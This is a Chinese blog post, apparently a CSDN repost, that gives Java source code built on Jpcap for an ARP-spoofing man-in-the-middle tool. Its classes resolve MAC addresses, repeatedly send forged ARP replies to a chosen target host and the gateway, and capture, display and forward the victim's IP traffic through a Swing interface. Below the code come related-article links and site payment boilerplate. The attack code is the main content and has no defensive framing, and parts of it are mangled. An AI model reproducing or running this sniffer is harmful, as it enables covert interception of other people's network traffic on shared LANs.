如何使用Jpcap 包实现网络监听

最新推荐文章于 2022-05-13 22:42:15 发布
最新推荐文章于 2022-05-13 22:42:15 发布
阅读量515 收藏 2
点赞数
文章标签： 网关 网络 以太网 路由器
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_44428824/article/details/113766457
版权

实现的代码如下（这里提供几个重要的类）

 /**
  • @(#)ARP.java
  • ARP类
  • 用于解析目标主机IP的地址为相应的MAC地址
  • @author scholar_ii
  • @version 1.00 2007/12/10
  • @since JDK1.6
    */
    import jpcap.JpcapCaptor;
    import jpcap.JpcapSender;
    import java.util.Arrays;
    import java.net.InetAddress;
    import java.net.Inet4Address;
    import jpcap.packet.ARPPacket;
    import jpcap.packet.EthernetPacket;
    import jpcap.NetworkInterface;
    import jpcap.NetworkInterfaceAddress;
    import javax.swing.JOptionPane;

public class ARP
{
/**
* 静态方法:用于解析目标IP地址,得到相应的MAC地址
* @param targetIp
* 目标主机IP地址
* @return targetMAC
* 目标主机MAC地址
*/
public static byte[] getTargetMAC(InetAddress targetIp)
{
NetworkInterface[] devices=JpcapCaptor.getDeviceList();
NetworkInterface device=null;
//寻找适合的网络设备
loop: for(NetworkInterface d:devices)
{
for(NetworkInterfaceAddress addr:d.addresses)
{
if(!(addr.address instanceof Inet4Address)) continue;
byte[] bip=targetIp.getAddress();
byte[] subnet=addr.subnet.getAddress();
byte[] bif=addr.address.getAddress();
for(int i=0;i<4;i++){
bip[i]=(byte)(bip[i]&subnet[i]);
bif[i]=(byte)(bif[i]&subnet[i]);
}
if(Arrays.equals(bip,bif))
{
device=d;
break loop;
}
}
}

if(device==null)
throw new IllegalArgumentException(targetIp+" is not a local address");
JpcapCaptor captor = null;
//打开一个网络数据包捕捉者
try
{
captor=JpcapCaptor.openDevice(device,2000,false,3000);
//只接收ARP数包
captor.setFilter(“arp”,true);
}catch(Exception e)
{

}
//获得发送数据包的实例
JpcapSender sender=captor.getJpcapSenderInstance();
InetAddress srcip=null;
for(NetworkInterfaceAddress addr:device.addresses)
if(addr.address instanceof Inet4Address){
srcip=addr.address;
break;
}
//进行广播数据报的MAC地址
byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255};
//构造REQUEST 类型的ARP的数据包
ARPPacket arp=new ARPPacket();
arp.hardtype=ARPPacket.HARDTYPE_ETHER;
arp.prototype=ARPPacket.PROTOTYPE_IP;
arp.operation=ARPPacket.ARP_REQUEST;
arp.hlen=6;
arp.plen=4;
//源MAC地址
arp.sender_hardaddr=device.mac_address;
//源IP地址
arp.sender_protoaddr=srcip.getAddress();
//目地MAC地址:广播地址全为1(二进制)
arp.target_hardaddr=broadcast;
//目地IP地址
arp.target_protoaddr=targetIp.getAddress();
//构造以太网头部
EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=device.mac_address;
ether.dst_mac=broadcast;
//ARP数据包加上以网关头部
arp.datalink=ether;
//向局域网广播ARP请求数据报
sender.sendPacket(arp);
//接收目标主面的答应ARP数据报
while(true)
{
ARPPacket p=(ARPPacket)captor.getPacket();
if(p==null)
{
throw new IllegalArgumentException(targetIp +“不是本地局域网的IP号”);
}
if(Arrays.equals(p.target_protoaddr,srcip.getAddress())){
return p.sender_hardaddr;
}
}

}

}

/**

  • @(#)TrickerThread.java
  • TrickerThread类用于向目标主与网关发送伪造的ARP
  • 数据包.起到欺骗的角色
  • @author scholar_ii
  • @version 1.00 2007/12/18
    */

import java.net.InetAddress;
import jpcap.packet.;
import jpcap.;

public class TrickerThread extends Thread
{
/**
* 目标主机IP
/
private String targetIP;
/*
* 网关IP
/
private String gateWayIP;
/*
* 目标主机MAC
/
private byte[] targetMAC;
/*
* 网关MAC
/
private byte[] gateWayMAC;
/*
* 发往目标主机的伪造的ARP—REPY数据包
/
private ARPPacket targetPacket;
/*
* 发往网关的伪造的ARP—REPY数据包
/
private ARPPacket gateWayPacket;
/*
* 网卡设备
/
private NetworkInterface device;
/*
* 网络数据包发送者
/
private JpcapSender sender = null;
/
* 构造方法
* 类的初使化
* @param device
* 网卡设备
* @param sender
* 网络数据包捕捉者
* @param targetIP
* 目标主机IP
* @param gateWayIP
* 网关IP
* @param targetMAC
* 目标主机MAC
* @param gateWayMAC
* 网关MAC
*/

public TrickerThread(NetworkInterface device, JpcapSender sender,
String targetIP, String gateWayIP, byte[] targetMAC , byte[] gateWayMAC)
{
this.device = device;
this.sender = sender;
this.targetIP = targetIP;
this.gateWayIP = gateWayIP;
this.targetMAC = targetMAC;
this.gateWayMAC = gateWayMAC;

     makePacket(); 
}

/*
 * 线程方法
 * 每隔200ms向目标主机与网络发送伪造的ARP_REPY数据包
 *
*/
public void run()
{
 
 sender.sendPacket(targetPacket);
 sender.sendPacket(gateWayPacket);
 System.out.println("欺骗!!");
 try
 {
  Thread.sleep(200);
 }
 catch(Exception e)
 {
  System.out.println();
 }
}

private void makePacket()
{
 /*构造欺骗目标的ARP包*/
 /*目地IP地址为目标IP，目地MAC地址为目标MAC*/
 /*源IP地址为网关IP（实际上是应该本地主IP），源MAC地址为本地主机MAC*/
 targetPacket = new ARPPacket();//发往目标主机的ARP包

targetPacket.hardtype=ARPPacket.HARDTYPE_ETHER;
targetPacket.prototype=ARPPacket.PROTOTYPE_IP;
targetPacket.operation=ARPPacket.ARP_REPLY;//REPLY回复型ARP数据包
targetPacket.hlen=6;
targetPacket.plen=4;
targetPacket.sender_hardaddr=device.mac_address;//源MAC地址
targetPacket.target_hardaddr=targetMAC;//目地MAC地址
try
{
/源IP地址：网关IP，进行欺骗/
targetPacket.sender_protoaddr=InetAddress.getByName(gateWayIP).getAddress();
/目地IP地址/
targetPacket.target_protoaddr=InetAddress.getByName(targetIP).getAddress();
}catch(Exception e)
{

}
/构造以太网帧的头部/
EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
/源MAC地址：本地MAC/
ether.src_mac=device.mac_address;
/目地MAC地址：目标MAC/
ether.dst_mac=targetMAC;
/ARP包加上以太网帖头部/
targetPacket.datalink=ether;

/构造欺骗网关的ARP包/
/目地IP地址为网关IP，目地MAC为网关MAC/
/源IP地址为为目标IP（实际应该为目标IP本地主机IP），源MAC地址为本地主MAC/
gateWayPacket = new ARPPacket();//发往网关的ARP数据报
gateWayPacket.hardtype=ARPPacket.HARDTYPE_ETHER;
gateWayPacket.prototype=ARPPacket.PROTOTYPE_IP;
gateWayPacket.operation=ARPPacket.ARP_REPLY;
gateWayPacket.hlen=6;
gateWayPacket.plen=4;
gateWayPacket.sender_hardaddr=device.mac_address;//源MAC地址
gateWayPacket.target_hardaddr=gateWayMAC;//目标MAC地址
try
{
/源IP地址：目标IP，进行欺骗/
gateWayPacket.sender_protoaddr=InetAddress.getByName(targetIP).getAddress();
/目地IP地址：网关/
gateWayPacket.target_protoaddr=InetAddress.getByName(gateWayIP).getAddress();
}catch(Exception e)
{

}

ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=device.mac_address;//源MAC地址
ether.dst_mac=gateWayMAC;//目的MAC地址
gateWayPacket.datalink=ether;

}

}

/**

  • @(#)MinitorAntherHostThread.java
  • MinitorAntherHostThread类
  • 用于监听局域网的目标主机的通讯
  • @author scholar_ii
  • @version 1.00 2007/12/9
    */

import jpcap.;
import java.io.;
import java.net.;
import jpcap.packet.;
import javax.swing.table.DefaultTableModel;

public class MinitorAntherHostThread extends Thread
{
/**

  • 设备列表
    /
    private jpcap.NetworkInterface[] devices = null;
    /    *

    • 使用的设备
      /
      private jpcap.NetworkInterface device = null ;
      /      *
    • 网络数据包的捕捉者
      /
      private JpcapCaptor captor = null ;
      /      *
    • 网络数据包的发送者
      /
      private JpcapSender sender = null;
      /      *
    • 目标主机MAC地址
      /
      private byte[] targetMAC;
      /      *
    • 网关MAC地址
      /
      private byte[] gateWayMAC;
      /      *
    • 目标IP地址
      /
      private String targetIP;
      /      *
    • 网关IP地址
      /
      private String gateWayIP;
      /      *
    • 表格数据模式
      */
      private DefaultTableModel model;

    /* 构造函数

    • @param model
    •    表格数据模型
    • @param targetIP
    •    目标主机IP
    • @param gateWayIP
    •    网关IP
    • @param targetMAC
    •    目标主机MAC地址
    • @param gateWayMAC
    •    网关MAC地址

    */

public MinitorAntherHostThread(DefaultTableModel model, String targetIP
, String gateWayIP, byte[] targetMAC, byte[] gateWayMAC)
{
this.model = model;
this.targetIP = targetIP;
this.gateWayIP = gateWayIP;
this.targetMAC = targetMAC;
this.gateWayMAC = gateWayMAC;
try
{
initDevice();
}
catch(IOException e)
{

 }
    
  }

/**
* 初始化设备
* JpcapCaptor.getDeviceList()得到设备可能会有两个，其中一个必定是“Generic
* dialup adapter”，这是windows系统的虚拟网卡，并非真正的硬件设备。
* 注意：在这里有一个小小的BUG，如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
* JFame（）这类的语句会影响得到设备个数，只会得到真正的硬件设备，而不会出现虚拟网卡。
* 虚拟网卡只有MAC地址而没有IP地址，而且如果出现虚拟网卡，那么实际网卡的MAC将分
* 配给虚拟网卡，也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。
* @throws IOException
* 如要打开网卡设备出现异常
*/
private void initDevice() throws IOException
{
devices = JpcapCaptor.getDeviceList(); //去除虚拟网卡的处理
int index = 0;
if(devices.length>1)
index = 1;
device = devices[index];//只有一个设备
captor = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
captor.setFilter(“ip”,true); //只监听B的IP数据包
sender = captor.getJpcapSenderInstance();//获得发送数据包的实例
}

/**
 * 打印接受到的数据包并转发
 */
 public void run()//接收数据包并转发
 {
   TrickerThread tricker = new TrickerThread(device, sender,targetIP,  gateWayIP,  targetMAC , gateWayMAC);
   /*开始欺骗线程*/
     tricker.start();
     IPPacket dataPacket = null;
     /*处理接收与转发数据包*/
     while(true)
     {
         dataPacket =(IPPacket)captor.getPacket();
         if(dataPacket!=null)
         {
          System.out.println(dataPacket);
          Object[] data = {"","","",""};
          if(dataPacket.src_ip.getHostAddress().equals(targetIP))
            {
               data[0] = "发送";
               data[1] = dataPacket.getClass().getName();
               data[2] = dataPacket;
         StringBuffer buffer = new StringBuffer();
         for(Byte a:dataPacket.data)
         {
           buffer.append(Byte.toString(a));
         }
         data[3] = new String(buffer);
         model.addRow(data);//显不数据包
               /*转发目标想发送到网络（到网关）的数据包*/
             send(dataPacket, gateWayMAC);
             System.out.println(dataPacket);
            }
            else if(dataPacket.dst_ip.getHostAddress().equals(targetIP))
            {
               data[0] = "接收";
               data[2] = dataPacket;
         StringBuffer buffer = new StringBuffer();
         for(Byte a:dataPacket.data)
         {
           buffer.append(Byte.toString(a));
         }
         data[3] = new String(buffer);
         model.addRow(data);//显不数据包
               /*转发网络（网关）想发关到目标主机的数据包*/
             send(dataPacket, targetMAC);
             System.out.println(dataPacket);
            }
           
         }
        
            
    }
}

/**
 * 转发数据包的函数
 * @param packet
 *        发送的数据包
 * @param changeMAC
 *        发送目标的物理地址
*/
private void send(Packet packet, byte[] changeMAC)
{
    EthernetPacket eth;
    if(packet.datalink instanceof EthernetPacket)
    {
         eth = (EthernetPacket)packet.datalink;
         for(int i = 0; i < 6; i++)
         {
            eth.dst_mac[i] = changeMAC[i]; //修改包以太头，改变包的目标
            eth.src_mac[i] = device.mac_address[i]; //源发送者为A
         }
        sender.sendPacket(packet);
   }
}

}

/**

  • @(#)MinitorAntherHostPane.java
  • @author
  • @version 1.00 2007/12/9
    */
    import javax.swing.JLabel;

import javax.swing.JTable;
import javax.swing.JPanel;
import javax.swing.JButton;
import javax.swing.JTextField;
import java.awt.FlowLayout;
import javax.swing.JCheckBox;
import java.net.InetAddress;
import java.awt.BorderLayout;
import javax.swing.JScrollPane;
import java.awt.event.MouseEvent;
import javax.swing.BorderFactory;
import java.awt.event.MouseAdapter;
import java.awt.event.ActionListener;
import javax.swing.table.DefaultTableModel;
import javax.swing.table.DefaultTableModel;
public class MinitorAntherHostPane extends JPanel
{
private JButton initButton;
private JButton startButton;
private JButton stopButton;
private JButton endButton;
private JPanel operatePane;
private JTable showPackage;
private DefaultTableModel model;
private JScrollPane showPane;
private JPanel northPane ;
private JLabel label;
private JLabel label2;
private JLabel label3;
private JLabel label4;
private JTextField textField;
private JTextField textField2;
private JTextField textField3;
private JTextField textField4;
private JButton arpButton;
private String targetIp;
private String gateWayIp;
private byte[] targetMac;
private byte[] gateWayMac;
private MinitorAntherHostThread minitor;
public MinitorAntherHostPane()
{
Object[][] data = {{}};
Object[] title = {“监听类型”,“数据包类型”,“数据包通信信息”,“数据包的数据”};
model = new DefaultTableModel(data, title);
showPackage = new JTable(model);
showPackage.setAutoResizeMode(JTable.AUTO_RESIZE_OFF);
showPane = new JScrollPane(showPackage);
showPane.setBorder(BorderFactory.createTitledBorder(“监听的数据包列表”));

 initButton = new JButton("开始监听");
 initButton.addMouseListener(
  new MouseAdapter()
  {
   public void mouseClicked(MouseEvent e)
   {
    initButton.setEnabled(false);
    stopButton.setEnabled(true);
    MinitorAntherHostThread minitor = new MinitorAntherHostThread(model,targetIp,gateWayIp,targetMac,gateWayMac);
    minitor.start();
   }
  }); 
 startButton = new JButton("继续监听");
 startButton.setEnabled(false);
 startButton.addMouseListener(
  new MouseAdapter()
  {
   public void mouseClicked(MouseEvent e)
   {
    stopButton.setEnabled(true);
       endButton.setEnabled(false);
       minitor.resume();
   }
  }
   );
 stopButton = new JButton("暂停监听");
 stopButton.setEnabled(false);
 stopButton.addMouseListener(
  new MouseAdapter()
  {
   public void mouseClicked(MouseEvent e)
   {
    stopButton.setEnabled(false);
    startButton.setEnabled(true);
    endButton.setEnabled(true);
    minitor.suspend();
    
   }
  }
   );
 endButton = new JButton("终止监听");
 endButton.setEnabled(false);
 endButton.addMouseListener(
  new MouseAdapter()
  {
   public void mouseClicked(MouseEvent e)
   {
    initButton.setEnabled(true);
    startButton.setEnabled(false);
    stopButton.setEnabled(false);
    endButton.setEnabled(false);
    try
    {
     minitor.destroy();
    }
    catch(Exception ex)
    {
     
    }
    
   }
  }
   );
 operatePane = new JPanel();
 operatePane.add(initButton);
 operatePane.add(startButton);
 operatePane.add(stopButton);
 operatePane.add(endButton);
 operatePane.setBorder(BorderFactory.createTitledBorder("操作选项"));
 
 label = new JLabel("目标主机的IP地址：");
 textField = new JTextField(9);
 arpButton = new JButton("解析MAC地址");
 arpButton.addMouseListener(
  new MouseAdapter()
  {
   public void mouseClicked(MouseEvent e)
   {
    if(textField.getText().equals(""))
    {
     
    }
    else
    {
     try
     {
      targetIp = textField.getText();
      targetMac = ARP.getTargetMAC(InetAddress.getByName(targetIp));
     }
     catch(Exception ex)
     {
      
     }
     StringBuffer buffer = new StringBuffer();
     for (byte b : targetMac)
           buffer.append(Integer.toHexString(b&0xff) + ":");
        textField2.setText(new String(buffer));
       
        try
     {
      gateWayIp = textField3.getText();
      gateWayMac = ARP.getTargetMAC(InetAddress.getByName(gateWayIp));
     }
     catch(Exception ex)
     {
      
     }
     buffer = new StringBuffer();
     for (byte b : gateWayMac)
           buffer.append(Integer.toHexString(b&0xff) + ":");
        textField4.setText(new String(buffer));
    }
   }
  }
   );
 label2 = new JLabel("目标主机MAC地址：");
 textField2 = new JTextField(9);
 label3 = new JLabel("网关IP地址:");
 textField3 = new JTextField(9);
 label4 = new JLabel("网关MAC地址：");
 textField4 = new JTextField(9);
 northPane = new JPanel(new FlowLayout(FlowLayout.LEFT));
 northPane.add(label3);
 northPane.add(textField3);
 northPane.add(label);
 northPane.add(textField);
 northPane.add(arpButton);
 northPane.add(label4);
 northPane.add(textField4);
 northPane.add(label2);
 northPane.add(textField2);
 setLayout(new BorderLayout());
 add(northPane, BorderLayout.NORTH);
 add(showPane, BorderLayout.CENTER);
 add(operatePane, BorderLayout.SOUTH);
}

}

编程小哪吒
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
jpcap监听网络 收发数据包java
10-01
可以模拟收发网卡数据，需要配置jpcap,默认设置收发了udp数据包可以自行更改
JPCAP监听原理
独自登高楼 望断天涯路
03-23 2152
三．使用JPCAP实现监听　　1．监听原理　　　在详细说用JPCAP实现网络监听实现前，先简单介绍下监听的原理。　　局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段，局域网的布局是使用总线式（或集线式）结构，要到达监听只需要将网卡设定为混杂模式即可，但现在的局域网络普遍采用的是交换式网络，所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的，我们需要“欺骗”路由器、
使用JPCAP实现监听
小嘴冰凉
07-17 206
三．使用JPCAP实现监听 1．监听原理 在详细说用JPCAP实现网络监听实现前，先简单介绍下监听的原理。 局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段，局域网的布局是使用总线式（或集线式）结构，要到达监听只需要将网卡设定为混杂模式即可，但现在的局域网络普遍采用的是交换式网络，所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了...
基于Java_使用Jpcap进行网络抓包并分析(6千字保姆级教程)
热门推荐
林二月的博客
05-13 1万+
使用 JPCAP或 wireshark等抓包，可以使用JAVA、PYTHON或C++写代码对数据进行分析，最后可视化显示;本文只实现了使用 Java语言的jpcap接口 在 IDEA环境下抓取数据包的功能这份大作业需要挺多的时间去完成的，只能一部分一部分去啃。这篇博客也只是解决了如何从网卡中捕捉并过滤数据包,但还未能对捕获到的数据包进行分析和可视化。剩下的这些内容就等下一篇博客吧!如果有我表述的不清楚或者错误的地方，欢迎在评论区一起讨论、批评指正。拜拜！
如何使用Jpcap 包实现网络监听[转载]
半日闲的博客
02-18 199
 如何使用Jpcap 包实现网络监听    实现的代码如下（这里提供几个重要的类）     import jpcap.JpcapCaptor;import jpcap.JpcapSender;import java.util.Arrays;import java.net.InetAddress;import java.net.Inet4Address;import jpcap.packet...
jpcap依赖包及代码
最新发布
12-13
标题 "jpcap依赖包及代码" 指的是一个集合，包含了与jpcap相关的所有必要组件，包括必要的jar包和动态链接库（DLL），以及可能的示例代码，帮助开发者理解并使用jpcap进行网络数据包捕获。jpcap是一个Java库，它为...
Java jpcap抓包
05-08
Java jpcap抓包是一种利用Java编程语言和jpcap库来实现网络数据包捕获的技术。jpcap是Java Packet Capture的缩写，是一个开源的网络协议分析库，允许开发者在Java应用程序中进行网络数据包的捕获和处理。在计算机...
JAVA抓包工具jpcap，包含32位和64位
02-27
Java抓包工具jpcap是Java平台上的网络数据包捕获库，它允许开发者在Java应用程序中实现网络监控和分析功能。jpcap提供了一套API接口，使得开发者能够轻松地处理网络数据包，包括捕获、过滤、解析以及网络协议分析等...
网络抓包工具 jpcap.7z
07-06
总结，jpcap作为一款Java实现的网络抓包工具，其简洁的API和广泛的协议支持使其成为网络分析领域的有力工具。无论是网络管理员还是开发者，都能从中受益，通过深入理解和有效利用jpcap，提升网络监控和问题解决的...
java 利用 jpcap 查看网卡信息 -Window配置
weixin_41020820的博客
01-20 316
直接看效果： 因为 jpcap.dll 有64bit 和 32bit 对应的 jdk 也要符合一直才可以，否则会出现加载失败显示： Can‘t load AMD64.bit.dll on a IA 32-bit platform 所以，jdk 要和 jpcap 保持一致。 效果： import java.io.IOException; import jpcap.JpcapCaptor; import jpcap.NetworkInterface; import jpcap.NetworkIn
用java实现ARP报文的发送
10-14
用java实现ARP报文的发送，通过jpcap来调用winpcap。对所用到的几个类进行了描述。
Jpcap使用指南
weixin_30511107的博客
07-02 983
1. 获取网络接口列表要想从网络中捕获数据包，第一件必须要做的事就是获取本机的网络接口列表。Jpcap提供了方法JpcapCaptor.getDeviceList()完成这个任务，该方法返回一组NetworkInterface对象。NetworkInterface接口对象包含了对应网络接口的一些信息，例如：名称、描述、IP以及MAC地址以及数据链路层名称和描述。import jpcap.Jp...
java 通过JPCAP实现简易ping程序
kevin的博客
06-05 3783
在计网课设中需要通过raw socket的方式实现一个ping程序，而raw socket是一种原始套接字可以接收本机网卡上的数据帧或者数据包，但是java仅仅支持到应用层，是无法直接操作底层的，如果想访问ICMP可以下载jpcap这个类库 一，JPCAP Jpcap是一个可以监控当前网络情况的中间件，弥补了java对网络层以下的控制 jpcap下载与安装 1.下载 地址：网盘地址 提取码...
java jpcap 抓包并分析_jpcap抓包心得
weixin_29115107的博客
02-13 1472
jpcap没有64位版的？这样就不得不用32的系统了。用jpcap抓包，前提是装好了winpcap和jpcap。过程很简单：1.JpcapCaptor.getDeviceList()获取网卡列表，返回一个jpcap.NetworkInterface的数组2.选择网卡，调用JpcapCaptor.openDevice()，返回一个JpcapCaptor类的对象。3.创建PacketReceiver类...
通过JPcap捕获网络TCP数据包，并将解析的信息写入execl文件中
小嗨嗨的博客
07-24 6329
以下代码主要实现功能： 1.利用JPcap捕获指定网卡的所有TCP数据包，并解析出"SRC_MAC","DST_MAC", "SRC_IP", "DST_IP", "GETInfo", "RefererInfo", "HostInfo"等信息。 2. 将这些信息不覆盖的写入到execl文件，并且将每天的数据信息记录在以年月日命名的execl工作表（sheet）中。 package e
Jpcap包的学习笔记(八)如何使用Jpcap 包实现网络监听(下部)
技术的学习与积累是个技术活
12-29 3629
 如何使用Jpcap 包实现网络监听   实现的代码如下（这里提供几个重要的类）     /** * @(#)ARP.java * ARP类 * 用于解析目标主机IP的地址为相应的MAC地址 * @author scholar_ii * @version 1.00 2007/12/10 * @since JDK1.6 */import jpcap.JpcapCaptor;import j
JAVA ARP欺骗 封包修改
flyer5200的博客
03-13 249
ARP（Address Resolution Protocol）既地址解释协议，主要的目的是用于进行IP和MAC地址解释的。IP是网络层协议，而MAC是被数据链路层使用。网络中两个节点要进行 通信，那么首先发送端必须要知道源和目的地的MAC地址，而网络层是使用IP地址，所以要获得MAC地址，就必须通过IP地址获取对应的MAC地址，这样 就需要使用ARP协议将IP地址转换为MAC地址，而同时为了能够...
java编程实现arp欺骗_JAVA实现ARP欺骗性的数据封包监听
weixin_29461699的博客
02-28 339
在这里，我实现了一个简单的封包截取程序，根据ARP欺骗的原理，我们所需要做的事情如下：1、 构建一个ARP Reply包2、 将该封包发送到需要欺骗的机器代码如下：Code[copy to clipboard]CODE:public class LocalListener {private final static String GATE_IP = "192.168.11.1";private f...
无网关的局域网如何获取封包_网络专题(1)：局域网 ARP 欺骗原理详解
weixin_39718521的博客
12-04 341
ARP 欺骗是一种以 ARP 地址解析协议为基础的一种网络攻击方式, 那么什么是 ARP 地址解析协议: 首先我们要知道, 一台电脑主机要把以太网数据帧发送到同一局域网的另外一台主机, 它的底层是通过 48bit 的 Mac 地址来确定目的接口的, 但是我们在应用层是使用 IP 地址来访问目标主机的, 所以 ARP 的作用就是当一台主机访问一个目标 IP 地址的时候, 它为该主机返回目标 IP 主...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值